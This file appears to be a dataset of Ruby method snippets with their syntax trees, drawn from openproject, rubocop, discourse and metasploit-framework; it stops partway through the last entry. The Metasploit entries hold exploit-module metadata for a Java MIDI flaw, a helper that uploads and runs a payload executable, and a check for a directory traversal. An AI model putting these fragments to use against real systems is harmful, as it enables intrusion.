{"repo_name":"openproject","file_path":"./repos/openproject/modules/auth_saml/spec/support/certificate_helper.rb","start_line":6,"raw_source":"def private_key\n    @private_key ||= OpenSSL::PKey::RSA.new(1024)\n  end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"private_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@private_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"PKey\"]},\"RSA\"]},\"new\",{\"type\":\"int\",\"children\":[1024]}]}]}]}","id":"f3429823-e234-4975-be16-6ffd4f3b68cc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/correctors/line_break_corrector.rb","start_line":45,"raw_source":"def remove_semicolon(node, corrector)\n          return unless semicolon(node)\n\n          corrector.remove(semicolon(node).pos)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_semicolon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semicolon\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"semicolon\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"pos\"]}]}]}]}","id":"67e633a5-361f-453b-af2f-39423698484d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_mover.rb","start_line":721,"raw_source":"def watch_new_topic\n    if @destination_topic.archetype == Archetype.private_message\n      if @original_topic.archetype == Archetype.private_message\n        notification_levels =\n          TopicUser\n            .where(topic_id: @original_topic.id, user_id: posts.pluck(:user_id))\n            .pluck(:user_id, :notification_level)\n            .to_h\n      else\n        notification_levels =\n          posts\n            .pluck(:user_id)\n            .uniq\n            .map { |user_id| [user_id, TopicUser.notification_levels[:watching]] }\n            .to_h\n      end\n    else\n      notification_levels = [[@destination_topic.user_id, TopicUser.notification_levels[:watching]]]\n    end\n\n    notification_levels.each do |user_id, notification_level|\n      TopicUser.change(\n        user_id,\n        @destination_topic.id,\n        notification_level: notification_level,\n        notifications_reason_id:\n          TopicUser.notification_reasons[\n            destination_topic.user_id == user_id ? :created_topic : :created_post\n          ],\n      )\n    end\n  end","complexity_score":52.4,"ast_json":"{\"type\":\"def\",\"children\":[\"watch_new_topic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@destination_topic\"]},\"archetype\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_topic\"]},\"archetype\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"lvasgn\",\"children\":[\"notification_levels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original_topic\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"sym\",\"children\":[\"notification_level\"]}]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"notification_levels\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"uniq\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"watching\"]}]}]}]},\"to_h\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notification_levels\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@destination_topic\"]},\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"watching\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_levels\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"notification_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"change\",{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@destination_topic\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_level\"]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notifications_reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"notification_reasons\"]},\"[]\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_topic\"]},\"user_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"sym\",\"children\":[\"created_topic\"]},{\"type\":\"sym\",\"children\":[\"created_post\"]}]}]}]}]}]}]}]}]}","id":"17fb6b6b-ec07-49c2-8393-c2e50a6fc8c0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/java_mixer_sequencer.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Java MixerSequencer Object GM_Song Structure Handling Vulnerability\",\n        'Description' => %q{\n          This module exploits a flaw within the handling of MixerSequencer objects\n          in Java 6u18 and before.\n\n          Exploitation id done by supplying a specially crafted MIDI file within an RMF\n          File. When the MixerSequencer objects is used to play the file, the GM_Song\n          structure is populated with a function pointer provided by a SONG block in the\n          RMF. A Midi block that contains a MIDI with a specially crafted controller event\n          is used to trigger the vulnerability.\n\n          When triggering the vulnerability \"ebx\" points to a fake event in the MIDI file\n          which stores the shellcode. A \"jmp ebx\" from msvcr71.dll is used to make the\n          exploit reliable over java updates.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Peter Vreugdenhil', # Vulnerability Discovery and exploit\n          'juan vazquez', # Metasploit module\n        ],\n        'References' => [\n          [ 'CVE', '2010-0842' ],\n          [ 'OSVDB', '63493'],\n          [ 'BID', '39077'],\n          [ 'ZDI', '10-060' ],\n          [ 'URL', 'http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/']\n        ],\n        'Payload' => {\n          'Space' => 8000,\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"process\",\n          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [\n            # Tested succesfully on:\n            # Windows XP SP3 / IE 6 / Java 6u18\n            # Windows XP SP3 / IE 7 / Java 6u18\n            # Windows XP SP3 / IE 8 / Java 6u18\n            # Windows XP SP3 / Firefox 7.0.1 / Java 6u18\n            # Windows XP SP3 / IE 8 / Java 6u17\n            # Windows XP SP3 / Firefox 7.0.1 / Java 6u17\n            # Windows 7 / IE 8 / Java 6u18\n            'Windows / Java 6 <=u18',\n            {\n              'Ret' => 0x7C35A78D # jmp ebx # msvcr71.dll\n            }\n          ],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2010-03-30',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Java MixerSequencer Object GM_Song Structure Handling Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a flaw within the handling of MixerSequencer objects\\n\"]},{\"type\":\"str\",\"children\":[\"          in Java 6u18 and before.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Exploitation id done by supplying a specially crafted MIDI file within an RMF\\n\"]},{\"type\":\"str\",\"children\":[\"          File. When the MixerSequencer objects is used to play the file, the GM_Song\\n\"]},{\"type\":\"str\",\"children\":[\"          structure is populated with a function pointer provided by a SONG block in the\\n\"]},{\"type\":\"str\",\"children\":[\"          RMF. A Midi block that contains a MIDI with a specially crafted controller event\\n\"]},{\"type\":\"str\",\"children\":[\"          is used to trigger the vulnerability.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          When triggering the vulnerability \\\"ebx\\\" points to a fake event in the MIDI file\\n\"]},{\"type\":\"str\",\"children\":[\"          which stores the shellcode. A \\\"jmp ebx\\\" from msvcr71.dll is used to make the\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit reliable over java updates.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Peter Vreugdenhil\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-0842\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"63493\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"39077\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"10-060\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20210624004250/http://vreugdenhilresearch.nl/java-midi-parse-vulnerabilities/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8000]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows / Java 6 <=u18\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083891085]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-03-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"a2041417-7de8-4f0e-b351-f7bf88c6be26"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/columns/query_relation_child_column_representer.rb","start_line":41,"raw_source":"def json_cache_key\n          [represented.name]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"json_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"name\"]}]}]}","id":"5fd872cb-4e44-40a0-a621-0d5eabc432ba"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/non_deterministic_require_order.rb","start_line":117,"raw_source":"def correct_block_pass(corrector, node)\n          if unsorted_dir_glob_pass?(node)\n            block_arg = node.last_argument\n\n            corrector.remove(last_arg_range(node))\n            corrector.insert_after(node, \".sort.each(#{block_arg.source})\")\n          else\n            corrector.replace(node.loc.selector, 'sort.each')\n          end\n        end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_block_pass\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unsorted_dir_glob_pass?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_argument\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"send\",\"children\":[null,\"last_arg_range\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".sort.each(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_arg\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},{\"type\":\"str\",\"children\":[\"sort.each\"]}]}]}]}","id":"a216bbf8-55e2-4e2a-b026-be46a01f8bad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/runas.rb","start_line":30,"raw_source":"def shell_execute_exe(filename = nil, path = nil)\n    exe_payload = generate_payload_exe\n    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'\n    payload_path = path || get_env('TEMP')\n    cmd_location = \"#{payload_path}\\\\#{payload_filename}\"\n    print_status(\"Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...\")\n    write_file(cmd_location, exe_payload)\n    command, args = cmd_location, nil\n    shell_exec(command, args)\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_execute_exe\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exe_payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_filename\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"int\",\"children\":[6]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".exe\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_path\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"get_env\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd_location\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_path\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_filename\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Uploading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_filename\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exe_payload\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes to the filesystem...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"cmd_location\"]},{\"type\":\"lvar\",\"children\":[\"exe_payload\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\"]},{\"type\":\"lvasgn\",\"children\":[\"args\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd_location\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"shell_exec\",{\"type\":\"lvar\",\"children\":[\"command\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"9ebf20e9-c655-4729-a436-284e4a6df86f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb","start_line":115,"raw_source":"def check\n    depth = datastore['DEPTH']\n    install_path = datastore['INSTALLPATH']\n\n    vprint_status(\"Detecting tomcat version...\")\n    tomcat_version = get_tomcat_version\n\n    if tomcat_version\n      print_status(\"Tomcat #{tomcat_version} detected... Verifying traversal...\")\n      location = \"\"\n      location << install_path\n      location << \"\\\\\" unless install_path.ends_with(\"\\\\\") or install_path.ends_with(\"/\")\n      location << \"apache-tomcat-#{tomcat_version}\\\\webapps\\\\ServiceEmulation\"\n\n      res = read_file(depth, location, \"index.jsp\")\n\n      if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/\n        vprint_good(\"Traversal exists and parameters are correct...\")\n        return Exploit::CheckCode::Vulnerable\n      elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/\n        vprint_warning(\"Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...\")\n        return Exploit::CheckCode::Appears\n      else\n        vprint_error(\"Failed to verify the directory traversal...\")\n      end\n    else\n      vprint_error(\"Tomcat version not detected...\")\n    end\n\n    vprint_status(\"Checking if the vulnerable web service and method exist...\")\n    res = send_request_cgi({\n      'uri' => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'),\n      'vars_get' => { 'wsdl' => 1 }\n    })\n\n    if res and res.code == 200 and res.body.to_s =~ /wsdl.*EmulationAdmin/ and res.body.to_s =~ /copyFileToServerRequest/\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":67.58,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"depth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"install_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INSTALLPATH\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Detecting tomcat version...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tomcat_version\",{\"type\":\"send\",\"children\":[null,\"get_tomcat_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tomcat_version\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Tomcat \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tomcat_version\"]}]},{\"type\":\"str\",\"children\":[\" detected... Verifying traversal...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"install_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_path\"]},\"ends_with\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_path\"]},\"ends_with\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"apache-tomcat-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tomcat_version\"]}]},{\"type\":\"str\",\"children\":[\"\\\\webapps\\\\ServiceEmulation\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"depth\"]},{\"type\":\"lvar\",\"children\":[\"location\"]},{\"type\":\"str\",\"children\":[\"index.jsp\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Service Emulation\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"Traversal exists and parameters are correct...\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"FileNotFoundException\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"str\",\"children\":[\"Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Failed to verify the directory traversal...\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Tomcat version not detected...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Checking if the vulnerable web service and method exist...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"ServiceEmulation\"]},{\"type\":\"str\",\"children\":[\"services\"]},{\"type\":\"str\",\"children\":[\"EmulationAdmin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wsdl\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"wsdl.*EmulationAdmin\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"